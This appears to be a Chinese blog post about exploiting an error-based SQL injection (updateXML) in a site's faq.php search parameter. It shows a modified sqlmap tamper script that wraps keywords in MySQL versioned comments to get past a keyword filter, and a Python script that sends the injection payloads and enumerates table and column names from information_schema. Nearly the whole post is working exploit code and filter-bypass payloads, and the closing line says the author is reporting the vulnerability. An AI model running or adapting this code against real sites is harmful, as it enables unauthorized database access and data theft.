updateXML 注入 python 脚本

用SLQMAP来跑updateXML注入发现拦截关键字，然后内联注入能绕，最后修改halfversionedmorekeywords.py脚本，结果SQLMAP还是跑不出来。>_<

halfversionedmorekeywords.py脚本修改后如下：

#!/usr/bin/env python

import os
import re

from lib.core.common import singleTimeWarnMessage
from lib.core.data import kb
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
from lib.core.settings import IGNORE_SPACE_AFFECTED_KEYWORDS

__priority__ = PRIORITY.HIGHER

def dependencies():
    singleTimeWarnMessage("tamper script '%s' is only meant to be run against %s < 5.1" % (os.path.basename(__file__).split(".")[0], DBMS.MYSQL))

def tamper(payload, **kwargs):

    def process(match):
        word = match.group('word')
        if word.upper() in kb.keywords and word.upper() not in IGNORE_SPACE_AFFECTED_KEYWORDS:
            return match.group().replace(word, "/*!12345 %s*/" % word)
        else:
            return match.group()

    retVal = payload

    if payload:
        retVal = re.sub(r"(?<=\W)(?P<word>[A-Za-z_]+)(?=\W|\Z)", lambda match: process(match), retVal)
        retVal = retVal.replace(" /*!0", "/*!0")

    return retVal

自己写个脚本得了，于是有了以下代码，成功跑出表名和字段。

#coding=utf-8

import requests
import re, binascii, warnings, time
warnings.filterwarnings("ignore")

table_name_list = []

for k in range(1,112):
    #遍历表名
    url = "https://XXX:6002/customer/faq.php?code=FAQ&category=&" \
          "searchopt=content&searchkey=1' /*!and*//*!updateXML*/" \
          "(1,concat(0x7e, (select /*!table_name*/ /*!from*/ information_schema.tables limit " + str(k) + ",1),0x7e),3)-- -" \
          "&x=4&y=23"

    req = requests.get(url)

    a = re.findall(r"'~(.*)~'", req.text)

    if a:table_name_list.append(a[0])
    else:pass

print table_name_list

for i in  table_name_list:
    print u"表名为：",i #输出表名
    #遍历字长度
    url = "https://XXX:6002/customer/faq.php?code=FAQ&category=&searchopt=content&searchkey=1" \
          "' /*!and*//*!updateXML*/(1,concat(0x7e, " \
          "(/*!SELECT*/ /*!distinct*/ concat(0x7e,/*!count(column_name)*/,0x7e) /*!FROM*/ /*!information_schema.columns*/ " \
          "where /*!table_name=0x"+str(binascii.b2a_hex(i))+"*/ ),0x7e),3)-- -&x=4&y=23"

    req = requests.get(url)

    b = re.findall(r"'~(.*)~'",req.text)

    if b:
        m = int(b[0].strip("~"))+1
        print u"行数为：",m #输出行数
        for n in range(1,m):
            #遍历字段名
            url = "https://XXX:6002/customer/faq.php?code=FAQ&category=&searchopt=content&searchkey=1" \
                  "' /*!and*//*!updateXML*/(1,concat(0x7e, " \
                  "(/*!SELECT*/ /*!distinct*/ concat(0x7e,/*!column_name*/,0x7e) /*!FROM*/ /*!information_schema.columns*/ " \
                  "where /*!table_name=0x"+str(binascii.b2a_hex(i))+"*/ limit "+str(n)+",1),0x7e),3)-- -&x=4&y=23"

            req = requests.get(url)

            c = re.findall(r"'~(.*)~'", req.text)
            if c:print u"字段：",str(c).strip("[u'~").strip("~']")
            else:pass
    else:pass

收工，提漏洞。拜拜。